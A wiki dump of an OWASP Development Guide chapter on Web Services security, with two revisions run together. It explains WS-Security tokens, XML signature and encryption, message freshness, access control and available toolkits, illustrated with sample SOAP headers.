'' <xenc:CipherValue>Nb0Mf...</xenc:CipherValue>''

'' </xenc:CipherData>''

'' <xenc:ReferenceList>''

'' <xenc:DataReference URI="#aDNa2iD"/>''

'' </xenc:ReferenceList>''

'' </xenc:EncryptedKey>''

'' <wsse:SecurityTokenReference wsu:Id="aZG0sG">''

'' <wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz"> 1106844369755</wsse:KeyIdentifier>''

'' </wsse:SecurityTokenReference>''

'' <saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">''

'' ... ''

'' </saml:Assertion>''

'' <wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">''

'' <wsu:Created>2005-01-27T16:46:10Z</wsu:Created>''

'' <wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>''

'' </wsu:Timestamp>''

'' <dsig:Signature xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" Id="sb738c7">''

'' <dsig:SignedInfo Id="obLkHzaCOrAW4kxC9az0bLA22">''

'' ...''

'' <dsig:Reference URI="#s91397860">''

'' ... ''

'' <dsig:DigestValue>5R3GSp+OOn17lSdE0knq4GXqgYM=</dsig:DigestValue>''

'' </dsig:Reference>''

'' </dsig:SignedInfo>''

'' <dsig:SignatureValue Id="a9utKU9UZk">LIkagbCr5bkXLs8l...</dsig:SignatureValue>''

'' <dsig:KeyInfo>''

'' <wsse:SecurityTokenReference>''

'' <wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>''

'' </wsse:SecurityTokenReference>''

'' </dsig:KeyInfo>''

'' </dsig:Signature>''

'' </wsse:Security>''

'' </soap:Header>''

'' <soap:Body xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="s91397860">''

'' <xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#" Id="aDNa2iD" Type="http://www.w3.org/2001/04/xmlenc#Content">''

'' <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"/>''

'' <xenc:CipherData>''

'' <xenc:CipherValue>XFM4J6C...</xenc:CipherValue>''

'' </xenc:CipherData>''

'' </xenc:EncryptedData>''

'' </soap:Body>''

''</soap:Envelope>''

===Types of tokens ===

A WSS Header may have the following types of security tokens in it:

* Username token

Defines mechanisms to pass username and, optionally, a password - the latter is described in the username profile document. Unless the whole token is encrypted, a message which includes a clear-text password should always be transmitted via a secured channel. In situations where the target Web Service has access to clear-text passwords for verification (this might not be possible with LDAP or some other user directories, which do not return clear-text passwords), using a hashed version with nonce and a timestamp is generally preferable. The profile document defines an unambiguous algorithm for producing password hash:

''Password_Digest = Base64 ( SHA-1 ( nonce + created + password ) )''

* Binary token

They are used to convey binary data, such as X.509 certificates, in a text-encoded format, Base64 by default. The core specification defines BinarySecurityToken element, while profile documents specify additional attributes and sub-elements to handle attachment of various tokens. Presently, both the X.509 and the Kerberos profiles have been adopted.

'' <wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">''

'' MIICtzCCAi...''

'' </wsse:BinarySecurityToken>''

* XML token

These are meant for any kind of XML-based tokens, but primarily – for SAML assertions. The core specification merely mentions the possibility of inserting such tokens, leaving all details to the profile documents. At the moment, SAML 1.1 profile has been accepted by OASIS.

'' <saml:Assertion AssertionID="1106844369755" IssueInstant="2005-01-27T16:46:09.755Z" Issuer="www.my.com" MajorVersion="1" MinorVersion="1" xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion">''

'' ... ''

'' </saml:Assertion>''

Although technically it is not a security token, a Timestamp element may be inserted into a security header to ensure message’s freshness. See the further reading section for a design pattern on this.

===Referencing message parts ===

In order to retrieve security tokens, passed in the message, or to identify signed and encrypted message parts, the core specification adopts usage of a special attribute, wsu:Id. The only requirement on this attribute is that the values of such IDs should be unique within the scope of XML document where they are defined. Its application has a significant advantage for the intermediate processors, as it does not require understanding of the message’s XML Schema. Unfortunately, XML Signature and Encryption specifications do not allow for attribute extensibility (i.e. they have closed schema), so, when trying to locate signature or encryption elements, local IDs of the Signature and Encryption elements must be considered first.

WSS core specification also defines a general mechanism for referencing security tokens via SecurityTokenReference element. An example of such element, referring to a SAML assertion in the same header, is provided below:

'' <wsse:SecurityTokenReference wsu:Id="aZG0sGbRpXLySzgM1X6aSjg22">''

'' <wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID" wsu:Id="a2tv1Uz">''

'' 1106844369755''

'' </wsse:KeyIdentifier>''

'' </wsse:SecurityTokenReference>''

As this element was designed to refer to pretty much any possible token type (including encryption keys, certificates, SAML assertions, etc) both internal and external to the WSS Header, it is enormously complicated. The specification recommends using two of its possible four reference types – Direct References (by URI) and Key Identifiers (some kind of token identifier). Profile documents (SAML, X.509 for instance) provide additional extensions to these mechanisms to take advantage of specific qualities of different token types.

==Communication Protection Mechanisms ==

As was already explained earlier (see 0), channel security, while providing important services, is not a panacea, as it does not solve many of the issues facing Web Service developers. WSS helps addressing some of them at the SOAP message level, using the mechanisms described in the sections below.
[[Category:FIXME|Please check the reference (see 0)]]

===Integrity ===

WSS specification makes use of the XML-dsig standard to ensure message integrity, restricting its functionality in certain cases; for instance, only explicitly referenced elements can be signed (i.e. no Embedding or Embedded signature modes are allowed). Prior to signing an XML document, a transformation is required to create its canonical representation, taking into account the fact that XML documents can be represented in a number of semantically equivalent ways. There are two main transformations defined by the XML Digital Signature WG at W3C, Inclusive and Exclusive Canonicalization Transforms (C14N and EXC-C14N), which differ in the way namespace declarations are processed. The WSS core specification specifically recommends using EXC-C14N, as it allows copying signed XML content into other documents without invalidating the signature.

In order to provide a uniform way of addressing signed tokens, WSS adds a Security Token Reference (STR) Dereference Transform option, which is comparable with dereferencing a pointer to an object of specific data type in programming languages. Similarly, in addition to the XML Signature-defined ways of addressing signing keys, WSS allows for references to signing security tokens through the STR mechanism (explained in 0), extended by token profiles to accommodate specific token types. A typical signature example is shown in an earlier sample in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

Typically, an XML signature is applied to secure elements such as SOAP Body and the timestamp, as well as any user credentials, passed in the request. There is an interesting twist when a particular element is both signed and encrypted, since these operations may follow (even repeatedly) in any order, and knowledge of their ordering is required for signature verification. To address this issue, the WSS core specification requires that each new element is pre-pended to the security header, thus defining the “natural” order of operations. A particularly nasty problem arises when there are several security headers in a single SOAP message, using overlapping signature and encryption blocks, as there is nothing in this case that would point to the right order of operations.

===Confidentiality ===

For its confidentiality protection, WSS relies on yet another standard, XML Encryption. Similarly to XML-dsig, this standard operates on selected elements of the SOAP message, but it then replaces the encrypted element’s data with a <xenc:EncryptedData> sub-element carrying the encrypted bytes. For encryption efficiency, the specification recommends using a unique key, which is then encrypted by the recipient’s public key and pre-pended to the security header in a <xenc:EncryptedKey> element. A SOAP message with encrypted body is shown in the section 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Freshness ===

SOAP messages’ freshness is addressed via timestamp mechanism – each security header may contain just one such element, which states, in UTC time and using the UTC time format, creation and expiration moments of the security header. It is important to realize that the timestamp is applied to the WSS Header, not to the SOAP message itself, since the latter may contain multiple security headers, each with a different timestamp. There is an unresolved problem with this “single timestampt” approach, since, once the timestamp is created and signed, it is impossible to update it without breaking existing signatures, even in case of a legitimate change in the WSS Header.

'' <wsu:Timestamp wsu:Id="afc6fbe-a7d8-fbf3-9ac4-f884f435a9c1">''

'' <wsu:Created>2005-01-27T16:46:10Z</wsu:Created>''

'' <wsu:Expires>2005-01-27T18:46:10Z</wsu:Expires>''

'' </wsu:Timestamp>''

If a timestamp is included in a message, it is typically signed to prevent tampering and replay attacks. There is no mechanism foreseen to address clock synchronization issue (which, as was already point out earlier, is generally not an issue in modern day systems) – this has to be addressed out-of-band as far as the WSS mechanics is concerned. See the further reading section for a design pattern addressing this issue.

==Access Control Mechanisms ==

When it comes to access control decisions, Web Services do not offer specific protection mechanisms by themselves – they just have the means to carry the tokens and data payloads in a secure manner between source and destination SOAP endpoints.

For more complete description of access control tasks, please, refer to other sections of this Development Guide.

===Identification ===

Identification represents a claim to have certain identity, which is expressed by attaching certain information to the message. This can be a username, an SAML assertion, a Kerberos ticket, or any other piece of information, from which the service can infer who the caller claims to be.

WSS represents a very good way to convey this information, as it defines an extensible mechanism for attaching various token types to a message (see 0). It is the receiver’s job to extract the attached token and figure out which identity it carries, or to reject the message if it can find no acceptable token in it.
[[Category:FIXME|Please check the reference (see 0)]]

===Authentication ===

Authentication can come in two flavors – credentials verification or token validation. The subtle difference between the two is that tokens are issued after some kind of authentication has already happened prior to the current invocation, and they usually contain user’s identity along with the proof of its integrity.

WSS offers support for a number of standard authentication protocols by defining binding mechanism for transmitting protocol-specific tokens and reliably linking them to the sender. However, the mechanics of proof that the caller is who he claims to be is completely at the Web Service’s discretion. Whether it takes the supplied username and password’s hash and checks it against the backend user store, or extracts subject name from the X.509 certificate used for signing the message, verifies the certificate chain and looks up the user in its store – at the moment, there are no requirements or standards which would dictate that it should be done one way or another.

===Authorization ===

XACML may be used for expressing authorization rules, but its usage is not Web Service-specific – it has much broader scope. So, whatever policy or role-based authorization mechanism the host server already has in place will most likely be utilized to protect the deployed Web Services deployed as well.

Depending on the implementation, there may be several layers of authorization involved at the server. For instance, JSRs 224 (JAX-RPC 2.0) and 109 (Implementing Enterprise Web Services), which define Java binding for Web Services, specify implementing Web Services in J2EE containers. This means that when a Web Service is accessed, there will be a URL authorization check executed by the J2EE container, followed by a check at the Web Service layer for the Web Service-specific resource. Granularity of such checks is implementation-specific and is not dictated by any standards. In the Windows universe it happens in a similar fashion, since IIS is going to execute its access checks on the incoming HTTP calls before they reach the ASP.NET runtime, where SOAP message is going to be further decomposed and analyzed.

===Policy Agreement ===

Normally, Web Services’ communication is based on the endpoint’s public interface, defined in its WSDL file. This descriptor has sufficient details to express SOAP binding requirements, but it does not define any security parameters, leaving Web Service developers struggling to find out-of-band mechanisms to determine the endpoint’s security requirements.

To make up for these shortcomings, WS-Policy specification was conceived as a mechanism for expressing complex policy requirements and qualities, sort of WSDL on steroids. Through the published policy SOAP endpoints can advertise their security requirements, and their clients can apply appropriate measures of message protection to construct the requests. The general WS-Policy specification (actually comprised of three separate documents) also has extensions for specific policy types, one of them – for security, WS-SecurityPolicy.

If the requestor does not possess the required tokens, it can try obtaining them via trust mechanism, using WS-Trust-enabled services, which are called to securely exchange various token types for the requested identity.

[[Image: Using Trust Service.gif|Figure 5. Using Trust service]]

Unfortunately, both WS-Policy and WS-Trust specifications have not been submitted for standardization to public bodies, and their development is progressing via private collaboration of several companies, although it was opened up for other participants as well. As a positive factor, there have been several interoperability events conducted for these specifications, so the development process of these critical links in the Web Services’ security infrastructure is not a complete black box.

==Forming Web Service Chains ==

Many existing or planned implementations of SOA or B2B systems rely on dynamic chains of Web Services for accomplishing various business specific tasks, from taking the orders through manufacturing and up to the distribution process.

[[Image:Service Chain.gif|Figure 6: Service chain]]

This is in theory. In practice, there are a lot of obstacles hidden among the way, and one of the major ones among them – security concerns about publicly exposing processing functions to intra- or Internet-based clients.

Here are just a few of the issues that hamper Web Services interaction – incompatible authentication and authorization models for users, amount of trust between services themselves and ways of establishing such trust, maintaining secure connections, and synchronization of user directories or otherwise exchanging users’ attributes. These issues will be briefly tackled in the following paragraphs.

===Incompatible user access control models ===

As explained earlier, in section 0, Web Services themselves do not include separate extensions for access control, relying instead on the existing security framework. What they do provide, however, are mechanisms for discovering and describing security requirements of a SOAP service (via WS-Policy), and for obtaining appropriate security credentials via WS-Trust based services.
[[Category:FIXME|Please check the reference (see 0)]]

===Service trust ===

In order to establish mutual trust between client and service, they have to satisfy each other’s policy requirements. A simple and popular model is mutual certificate authentication via SSL, but it is not scalable for open service models, and supports only one authentication type. Services that require more flexibility have to use pretty much the same access control mechanisms as with users to establish each other’s identities prior to engaging in a conversation.

===Secure connections ===

Once trust is established it would be impractical to require its confirmation on each interaction. Instead, a secure client-server link is formed and maintained the entire time a client’s session is active. Again, the most popular mechanism today for maintaining such link is SSL, but it is not a Web Service-specific mechanism, and it has a number of shortcomings when applied to SOAP communication, as explained in 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Synchronization of user directories ===

This is a very acute problem when dealing with cross-domain applications, as users’ population tends to change frequently among different domains. So, how does a service in domain B decide whether it is going to trust user’s claim that he has been already authenticated in domain A? There exist different aspects of this problem. First – a common SSO mechanism, which implies that a user is known in both domains (through synchronization, or by some other means), and authentication tokens from one domain are acceptable in another. In Web Services world, this would be accomplished by passing around a SAML or Kerberos token for a user.

===Domain federation ===

Another aspect of the problem is when users are not shared across domains, but merely the fact that a user with certain ID has successfully authenticated in another domain, as would be the case with several large corporations, which would like to form a partnership, but would be reluctant to share customers’ details. The decision to accept this request is then based on the inter-domain procedures, establishing special trust relationships and allowing for exchanging such opaque tokens, which would be an example of Federation relationships. Of those efforts, most notable example is Liberty Alliance project, which is now being used as a basis for SAML 2.0 specifications. The work in this area is still far from being completed, and most of the existing deployments are nothing more than POC or internal pilot projects than to real cross-companies deployments, although LA’s website does list some case studies of large-scale projects.

==Available Implementations ==

It is important to realize from the beginning that no security standard by itself is going to provide security to the message exchanges – it is the installed implementations, which will be assessing conformance of the incoming SOAP messages to the applicable standards, as well as appropriately securing the outgoing messages.

===.NET – Web Service Extensions ===

Since new standards are being developed at a rather quick pace, .NET platform is not trying to catch up immediately, but uses Web Service Extensions (WSE) instead. WSE, currently at the version 2.0, adds development and runtime support for the latest Web Service security standards to the platform and development tools, even while they are still “work in progress”. Once standards mature, their support is incorporated into new releases of the .NET platform, which is what is going to happen when .NET 2.0 finally sees the world. The next release of WSE, 3.0, is going to coincide with VS.2005 release and will take advantages of the latest innovations of .NET 2.0 platform in messaging and Web Application areas.

Considering that Microsoft is one of the most active players in the Web Service security area and recognizing its influence in the industry, its WSE implementation is probably one of the most complete and up to date, and it is strongly advisable to run at least a quick interoperability check with WSE-secured .NET Web Service clients. If you have a Java-based Web Service, and the interoperability is a requirement (which is usually the case), in addition to the questions of security testing one needs to keep in mind the basic interoperability between Java and .NET Web Service data structures.

This is especially important since current versions of .NET Web Service tools frequently do not cleanly handle WS-Security’s and related XML schemas as published by OASIS, so some creativity on the part of a Web Service designer is needed. That said – WSE package itself contains very rich and well-structured functionality, which can be utilized both with ASP.NET-based and standalone Web Service clients to check incoming SOAP messages and secure outgoing ones at the infrastructure level, relieving Web Service programmers from knowing these details. Among other things, WSE 2.0 supports the most recent set of WS-Policy and WS-Security profiles, providing for basic message security and WS-Trust with WS-SecureConversation. Those are needed for establishing secure exchanges and sessions - similar to what SSL does at the transport level, but applied to message-based communication.

===Java toolkits ===

Most of the publicly available Java toolkits work at the level of XML security, i.e. XML-dsig and XML-enc – such as IBM’s XML Security Suite and Apache’s XML Security Java project. Java’s JSR 105 and JSR 106 (still not finalized) define Java bindings for signatures and encryption, which will allow plugging the implementations as JCA providers once work on those JSRs is completed.

Moving one level up, to address Web Services themselves, the picture becomes muddier – at the moment, there are many implementations in various stages of incompleteness. For instance, Apache is currently working on the WSS4J project, which is moving rather slowly, and there is commercial software package from Phaos (now owned by Oracle), which suffers from a lot of implementation problems.

A popular choice among Web Service developers today is Sun’s JWSDP, which includes support for Web Service security. However, its support for Web Service security specifications in the version 1.5 is only limited to implementation of the core WSS standard with username and X.509 certificate profiles. Security features are implemented as part of the JAX-RPC framework and configuration-driven, which allows for clean separation from the Web Service’s implementation.

===Hardware, software systems ===

This category includes complete systems, rather than toolkits or frameworks. On one hand, they usually provide rich functionality right off the shelf, on the other hand – its usage model is rigidly constrained by the solution’s architecture and implementation. This is in contrast to the toolkits, which do not provide any services by themselves, but handing system developers necessary tools to include the desired Web Service security features in their products… or to shoot themselves in the foot by applying them inappropriately.

These systems can be used at the infrastructure layer to verify incoming messages against the effective policy, check signatures, tokens, etc, before passing them on to the target Web Service. When applied to the outgoing SOAP messages, they act as a proxy, now altering the messages to decorate with the required security elements, sign and/or encrypt them.

Software systems are characterized by significant configuration flexibility, but comparatively slow processing. On the bright side, they often provide high level of integration with the existing enterprise infrastructure, relying on the back-end user and policy stores to look at the credentials, extracted from the WSS header, from the broader perspective. An example of such service is TransactionMinder from the former Netegrity – a Policy Enforcement Point for Web Services behind it, layered on top of the Policy Server, which makes policy decisions by checking the extracted credentials against the configured stores and policies.

For hardware systems, performance is the key – they have already broken gigabyte processing threshold, and allow for real-time processing of huge documents, decorated according to the variety of the latest Web Service security standards, not only WSS. The usage simplicity is another attractive point of those systems - in the most trivial cases, the hardware box may be literally dropped in, plugged, and be used right away. These qualities come with a price, however – this performance and simplicity can be achieved as long as the user stays within the pre-configured confines of the hardware box. The moment he tries to integrate with the back-end stores via callbacks (for those solutions that have this capability, since not all of them do), most of the advantages are lost. As an example of such hardware device, Layer 7 Technologies provides a scalable SecureSpan Networking Gateway, which acts both as the inbound firewall and the outbound proxy to handle XML traffic in real time.

==Problems ==

As is probably clear from the previous sections, Web Services are still experiencing a lot of turbulence, and it will take a while before they can really catch on. Here is a brief look at what problems surround currently existing security standards and their implementations.

===Immaturity of the standards ===

Most of the standards are either very recent (couple years old at most), or still being developed. Although standards development is done in committees, which, presumably, reduces risks by going through an exhaustive reviewing and commenting process, some error scenarios still slip in periodically, as no theory can possibly match the testing resulting from pounding by thousands of developers working in the real field.

Additionally, it does not help that for political reasons some of these standards are withheld from public process, which is the case with many standards from the WSA arena (see 0), or that some of the efforts are duplicated, as was the case with LA and WS-Federation specifications.
[[Category:FIXME|Please check the reference (see 0)]]

===Performance ===

XML parsing is a slow task, which is an accepted reality, and SOAP processing slows it down even more. Now, with expensive cryptographic and textual conversion operations thrown into the mix, these tasks become a performance bottleneck, even with the latest crypto- and XML-processing hardware solutions offered today. All of the products currently on the market are facing this issue, and they are trying to resolve it with varying degrees of success.

Hardware solutions, while substantially (by orders of magnitude) improving the performance, cannot always be used as an optimal solution, as they cannot be easily integrated with the already existing back-end software infrastructure, at least – not without making performance sacrifices. Another consideration whether hardware-based systems are the right solution – they are usually highly specialized in what they are doing, while modern Application Servers and security frameworks can usually offer a much greater variety of protection mechanisms, protecting not only Web Services, but also other deployed applications in a uniform and consistent way.

===Complexity and interoperability ===

As could be deduced from the previous sections, Web Service security standards are fairly complex, and have very steep learning curve associated with them. Most of the current products, dealing with Web Service security, suffer from very mediocre usability due to the complexity of the underlying infrastructure. Configuring all different policies, identities, keys, and protocols takes a lot of time and good understanding of the involved technologies, as most of the times errors that end users are seeing have very cryptic and misleading descriptions.

In order to help administrators and reduce security risks from service misconfigurations, many companies develop policy templates, which group together best practices for protecting incoming and outgoing SOAP messages. Unfortunately, this work is not currently on the radar of any of the standard’s bodies, so it appears unlikely that such templates will be released for public use any time soon. Closest to this effort may be WS-I’s Basic Security Profile (BSP), which tries to define the rules for better interoperability among Web Services, using a subset of common security features from various security standards like WSS. However, this work is not aimed at supplying the administrators with ready for deployment security templates matching the most popular business use cases, but rather at establishing the least common denominator.

===Key management ===

Key management usually lies at the foundation of any other security activity, as most protection mechanisms rely on cryptographic keys one way or another. While Web Services have XKMS protocol for key distribution, local key management still presents a huge challenge in most cases, since PKI mechanism has a lot of well-documented deployment and usability issues. Those systems that opt to use homegrown mechanisms for key management run significant risks in many cases, since questions of storing, updating, and recovering secret and private keys more often than not are not adequately addressed in such solutions.

==Further Reading ==

* SearchSOA, SOA needs practical operational governance, Toufic Boubez

http://searchsoa.techtarget.com/news/interview/0,289202,sid26_gci1288649,00.html?track=NL-110&ad=618937&asrc=EM_NLN_2827289&uid=4724698

* Whitepaper: Securing XML Web Services: XML Firewalls and XML VPNs

http://layer7tech.com/new/library/custompage.html?id=4

* eBizQ, The Challenges of SOA Security, Peter Schooff

http://www.ebizq.net/blogs/news_security/2008/01/the_complexity_of_soa_security.php

* Piliptchouk, D., WS-Security in the Enterprise, O’Reilly ONJava

http://www.onjava.com/pub/a/onjava/2005/02/09/wssecurity.html

http://www.onjava.com/pub/a/onjava/2005/03/30/wssecurity2.html

* WS-Security OASIS site

http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=wss

* Microsoft, ''What’s new with WSE 3.0''

http://msdn.microsoft.com/webservices/webservices/building/wse/default.aspx?pull=/library/en-us/dnwse/html/newwse3.asp

* Eoin Keary, Preventing DOS attacks on web services

https://www.threatsandcountermeasures.com/wiki/default.aspx/ThreatsAndCountermeasuresCommunityKB.PreventingDOSAttacksOnWebServices
[[category:FIXME | broken link]] 

==Reference==
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Web Services]]

Web Services

2009-04-26T11:36:55Z

KirstenS: /* Standards committees */

[[Guide Table of Contents|Development Guide Table of Contents]]
__TOC__
[[Category:FIXME|This article has a lot of what I think are placeholders for references. It says "see section 0" and I think those are intended to be replaced with actual sections. I have noted them where I have found them. Need to figure out what those intended to reference, and change the reference]]
This section of the Development Guide details the common issues facing Web services developers, and methods to address common issues. Due to the space limitations, it cannot look at all of the surrounding issues in great detail, since each of them deserves a separate book of its own. Instead, an attempt is made to steer the reader to the appropriate usage patterns, and warn about potential roadblocks on the way.

Web Services have received a lot of press, and with that comes a great deal of confusion over what they really are. Some are heralding Web Services as the biggest technology breakthrough since the web itself; others are more skeptical that they are nothing more than evolved web applications. In either case, the issues of web application security apply to web services just as they do to web applications.

==What are Web Services?==

Suppose you were making an application that you wanted other applications to be able to communicate with. For example, your Java application has stock information updated every 5 minutes and you would like other applications, ones that may not even exist yet, to be able to use the data.

One way you can do this is to serialize your Java objects and send them over the wire to the application that requests them. The problem with this approach is that a C# application would not be able to use these objects because it serializes and deserializes objects differently than Java.

Another approach you could take is to send a text file filled with data to the application that requests it. This is better because a C# application could read the data. But this has another flaw: Lets assume your stock application is not the only one the C# application needs to interact with. Maybe it needs weather data, local restaurant data, movie data, etc. If every one of these applications uses its own unique file format, it would take considerable research to get the C# application to a working state.

The solution to both of these problems is to send a standard file format. A format that any application can use, regardless of the data being transported. Web Services are this solution. They let any application communicate with any other application without having to consider the language it was developed in or the format of the data.

At the simplest level, web services can be seen as a specialized web application that differs mainly at the presentation tier level. While web applications typically are HTML-based, web services are XML-based. Interactive users for B2C (business to consumer) transactions normally access web applications, while web services are employed as building blocks by other web applications for forming B2B (business to business) chains using the so-called SOA model. Web services typically present a public functional interface, callable in a programmatic fashion, while web applications tend to deal with a richer set of features and are content-driven in most cases.

==Securing Web Services ==

Web services, like other distributed applications, require protection at multiple levels:

* SOAP messages that are sent on the wire should be delivered confidentially and without tampering

* The server needs to be confident who it is talking to and what the clients are entitled to

* The clients need to know that they are talking to the right server, and not a phishing site (see the Phishing chapter for more information)

* System message logs should contain sufficient information to reliably reconstruct the chain of events and track those back to the authenticated callers

Correspondingly, the high-level approaches to solutions, discussed in the following sections, are valid for pretty much any distributed application, with some variations in the implementation details.

The good news for Web Services developers is that these are infrastructure-level tasks, so, theoretically, it is only the system administrators who should be worrying about these issues. However, for a number of reasons discussed later in this chapter, WS developers usually have to be at least aware of all these risks, and oftentimes they still have to resort to manually coding or tweaking the protection components.

==Communication security ==

There is a commonly cited statement, and even more often implemented approach – “we are using SSL to protect all communication, we are secure”. At the same time, there have been so many articles published on the topic of “channel security vs. token security” that it hardly makes sense to repeat those arguments here. Therefore, listed below is just a brief rundown of most common pitfalls when using channel security alone:

* It provides only “point-to-point” security

Any communication with multiple “hops” requires establishing separate channels (and trusts) between each communicating node along the way. There is also a subtle issue of trust transitivity, as trusts between node pairs {A,B} and {B,C} do not automatically imply {A,C} trust relationship.

* Storage issue

After messages are received on the server (even if it is not the intended recipient), they exist in the clear-text form, at least – temporarily. Storing the transmitted information at the intermediate aggravates the problem or destination servers in log files (where it can be browsed by anybody) and local caches.

* Lack of interoperability

While SSL provides a standard mechanism for transport protection, applications then have to utilize highly proprietary mechanisms for transmitting credentials, ensuring freshness, integrity, and confidentiality of data sent over the secure channel. Using a different server, which is semantically equivalent, but accepts a different format of the same credentials, would require altering the client and prevent forming automatic B2B service chains.

Standards-based token protection in many cases provides a superior alternative for message-oriented Web Service SOAP communication model.

That said – the reality is that the most Web Services today are still protected by some form of channel security mechanism, which alone might suffice for a simple internal application. However, one should clearly realize the limitations of such approach, and make conscious trade-offs at the design time, whether channel, token, or combined protection would work better for each specific case.

==Passing credentials ==

In order to enable credentials exchange and authentication for Web Services, their developers must address the following issues.

First, since SOAP messages are XML-based, all passed credentials have to be converted to text format. This is not a problem for username/password types of credentials, but binary ones (like X.509 certificates or Kerberos tokens) require converting them into text prior to sending and unambiguously restoring them upon receiving, which is usually done via a procedure called Base64 encoding and decoding.

Second, passing credentials carries an inherited risk of their disclosure – either by sniffing them during the wire transmission, or by analyzing the server logs. Therefore, things like passwords and private keys need to be either encrypted, or just never sent “in the clear”. Usual ways to avoid sending sensitive credentials are using cryptographic hashing and/or signatures.

==Ensuring message freshness ==

Even a valid message may present a danger if it is utilized in a “replay attack” – i.e. it is sent multiple times to the server to make it repeat the requested operation. This may be achieved by capturing an entire message, even if it is sufficiently protected against tampering, since it is the message itself that is used for attack now (see the XML Injection section of the Interpreter Injection chapter).

Usual means to protect against replayed messages is either using unique identifiers (nonces) on messages and keeping track of processed ones, or using a relatively short validity time window. In the Web Services world, information about the message creation time is usually communicated by inserting timestamps, which may just tell the instant the message was created, or have additional information, like its expiration time, or certain conditions.

The latter solution, although easier to implement, requires clock synchronization and is sensitive to “server time skew,” whereas server or clients' clocks drift too much, preventing timely message delivery, although this usually does not present significant problems with modern-day computers. A greater issue lies with message queuing at the servers, where messages may be expiring while waiting to be processed in the queue of an especially busy or non-responsive server.

==Protecting message integrity ==

When a message is received by a web service, it must always ask two questions: “whether I trust the caller,” “whether it created this message.” Assuming that the caller trust has been established one way or another, the server has to be assured that the message it is looking at was indeed issued by the caller, and not altered along the way (intentionally or not). This may affect technical qualities of a SOAP message, such as the message’s timestamp, or business content, such as the amount to be withdrawn from the bank account. Obviously, neither change should go undetected by the server.

In communication protocols, there are usually some mechanisms like checksum applied to ensure packet’s integrity. This would not be sufficient, however, in the realm of publicly exposed Web Services, since checksums (or digests, their cryptographic equivalents) are easily replaceable and cannot be reliably tracked back to the issuer. The required association may be established by utilizing HMAC, or by combining message digests with either cryptographic signatures or with secret key-encryption (assuming the keys are only known to the two communicating parties) to ensure that any change will immediately result in a cryptographic error.

==Protecting message confidentiality ==

Oftentimes, it is not sufficient to ensure the integrity – in many cases it is also desirable that nobody can see the data that is passed around and/or stored locally. It may apply to the entire message being processed, or only to certain parts of it – in either case, some type of encryption is required to conceal the content. Normally, symmetric encryption algorithms are used to encrypt bulk data, since it is significantly faster than the asymmetric ones. Asymmetric encryption is then applied to protect the symmetric session keys, which, in many implementations, are valid for one communication only and are subsequently discarded.

Applying encryption requires conducting an extensive setup work, since the communicating parties now have to be aware of which keys they can trust, deal with certificate and key validation, and know which keys should be used for communication.

In many cases, encryption is combined with signatures to provide both integrity and confidentiality. Normally, signing keys are different from the encrypting ones, primarily because of their different lifecycles – signing keys are permanently associated with their owners, while encryption keys may be invalidated after the message exchange. Another reason may be separation of business responsibilities - the signing authority (and the corresponding key) may belong to one department or person, while encryption keys are generated by the server controlled by members of IT department.

==Access control ==

After the message has been received and successfully validated, the server must decide:

* Does it know who is requesting the operation (Identification)

* Does it trust the caller’s identity claim (Authentication)

* Does it allow the caller to perform this operation (Authorization)

There is not much WS-specific activity that takes place at this stage – just several new ways of passing the credentials for authentication. Most often, authorization (or entitlement) tasks occur completely outside of the Web Service implementation, at the Policy Server that protects the whole domain.

There is another significant problem here – the traditional HTTP firewalls do not help at stopping attacks at the Web Services. An organization would need an XML/SOAP firewall, which is capable of conducting application-level analysis of the web server’s traffic and make intelligent decision about passing SOAP messages to their destination. The reader would need to refer to other books and publications on this very important topic, as it is impossible to cover it within just one chapter.

==Audit ==

A common task, typically required from the audits, is reconstructing the chain of events that led to a certain problem. Normally, this would be achieved by saving server logs in a secure location, available only to the IT administrators and system auditors, in order to create what is commonly referred to as “audit trail”. Web Services are no exception to this practice, and follow the general approach of other types of Web Applications.

Another auditing goal is non-repudiation, meaning that a message can be verifiably traced back to the caller. Following the standard legal practice, electronic documents now require some form of an “electronic signature”, but its definition is extremely broad and can mean practically anything – in many cases, entering your name and birthday qualifies as an e-signature.

As far as the WS are concerned, such level of protection would be insufficient and easily forgeable. The standard practice is to require cryptographic digital signatures over any content that has to be legally binding – if a document with such a signature is saved in the audit log, it can be reliably traced to the owner of the signing key.

==Web Services Security Hierarchy ==

Technically speaking, Web Services themselves are very simple and versatile – XML-based communication, described by an XML-based grammar, called Web Services Description Language (WSDL, see http://www.w3.org/TR/2005/WD-wsdl20-20050510), which binds abstract service interfaces, consisting of messages, expressed as XML Schema, and operations, to the underlying wire format. Although it is by no means a requirement, the format of choice is currently SOAP over HTTP. This means that Web Service interfaces are described in terms of the incoming and outgoing SOAP messages, transmitted over HTTP protocol.

===Standards committees ===

Before reviewing the individual standards, it is worth taking a brief look at the organizations which are developing and promoting them. There are quite a few industry-wide groups and consortiums working in this area, most important of which are listed below.

